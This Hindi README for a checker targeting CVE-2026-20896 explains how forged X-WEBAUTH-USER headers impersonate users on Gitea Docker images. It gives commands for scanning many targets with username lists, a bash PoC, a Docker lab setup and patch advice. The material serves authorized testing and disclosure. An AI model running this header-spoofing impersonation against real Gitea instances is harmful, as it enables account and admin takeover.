
CVE-2026-20896 Gitea Docker X-WEBAUTH-USER प्रमाणीकरण बाईपास जाँचकर्ता
केवल अधिकृत रेड टीम / पेंटेस्ट संचालन के लिए।
इस रिपॉजिटरी में CVE-2026-20896 के लिए एक न्यूनतम जाँचकर्ता है, जो आधिकारिक Gitea Docker इमेजेज में 1.26.2 तक और सहित, रिवर्स-प्रॉक्सी प्रमाणीकरण सक्षम होने पर एक प्रमाणीकरण बाईपास है।
प्रभावित Gitea Docker इमेजेज में निम्नलिखित app.ini टेम्पलेट शामिल था:
REVERSE_PROXY_TRUSTED_PROXIES = *
जब कोई व्यवस्थापक सक्षम करता है:
ENABLE_REVERSE_PROXY_AUTHENTICATION = true
Gitea किसी भी स्रोत IP से X-WEBAUTH-USER पर भरोसा करता था जो सीधे कंटेनर HTTP पोर्ट तक पहुँच सकता था। एक क्लाइंट जो इच्छित प्रमाणीकरण रिवर्स प्रॉक्सी को बाईपास करता था, एक एकल हेडर भेज सकता था और एक ज्ञात या अनुमानित उपयोगकर्ता का रूप धारण कर सकता था।
व्यावहारिक प्रभाव बिना प्रमाणीकरण के खाता प्रतिरूपण है। यदि अनुमानित उपयोगकर्ता एक व्यवस्थापक है, तो सबसे बुरी स्थिति Gitea इंस्टेंस और उसके रिपॉजिटरी का पूर्ण अनुप्रयोग-स्तरीय अधिग्रहण है। होस्ट RCE वातावरण-निर्भर है और इस जाँचकर्ता द्वारा दावा नहीं किया गया है।
पैच किए गए संस्करण 1.26.3 से शुरू होते हैं; 1.26.4 या नए में अपग्रेड करने की सिफारिश की जाती है।
जाँचकर्ता:
Powered by Gitea Version: 1.26.4 खोजता है।>= 1.26.3 है तो डिफ़ॉल्ट रूप से परीक्षण छोड़ देता है।X-WEBAUTH-USER: <username> के साथ GET / अनुरोध भेजता है।Go संस्करण कई लक्ष्यों, उपयोगकर्ता नाम फ़ाइलों, समवर्तीता, टाइमआउट, JSONL आउटपुट, TLS --insecure, --dry-run, और --force का समर्थन करता है।
go build -o gitea-cve-2026-20896-check .
कोई तृतीय-पक्ष Go निर्भरता आवश्यक नहीं है।
एकल लक्ष्य:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,gitea_admin,alice
एकाधिक लक्ष्य और उपयोगकर्ता नाम:
./gitea-cve-2026-20896-check \
--targets targets.txt \
--user-file users.txt \
--concurrency 64 \
--timeout 8s \
--jsonl
ड्राई रन:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,alice \
--dry-run
Bash फ़ॉलबैक:
./poc.sh --url http://localhost:3000 --users admin,alice
0: कम से कम एक असुरक्षित प्रतिरूपण की पुष्टि हुई1: कोई असुरक्षित प्रतिरूपण की पुष्टि नहीं हुई2: उपयोग, इनपुट, या रनटाइम त्रुटिनिम्नलिखित प्रयोगशाला एक प्रभावित स्थानीय Gitea कंटेनर शुरू करती है और एक परीक्षण उपयोगकर्ता बनाती है:
docker run -d --name gitea-cve-2026-20896 \
-p 127.0.0.1:3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git gitea-cve-2026-20896 gitea admin user create \
--username alice \
--password 'longpasswordhere1234' \
--email [email protected] \
--must-change-password=false
./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin
अपेक्षित सकारात्मक परिणाम:
[VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea"
सफाई:
docker rm -f gitea-cve-2026-20896
1.26.3 या नए में अपग्रेड करें; 1.26.4 या नया पसंद किया जाता है।1.26.3 / 1.26.4 के लिए: https://blog.gitea.com/release-of-1.26.3-and-1.26.4/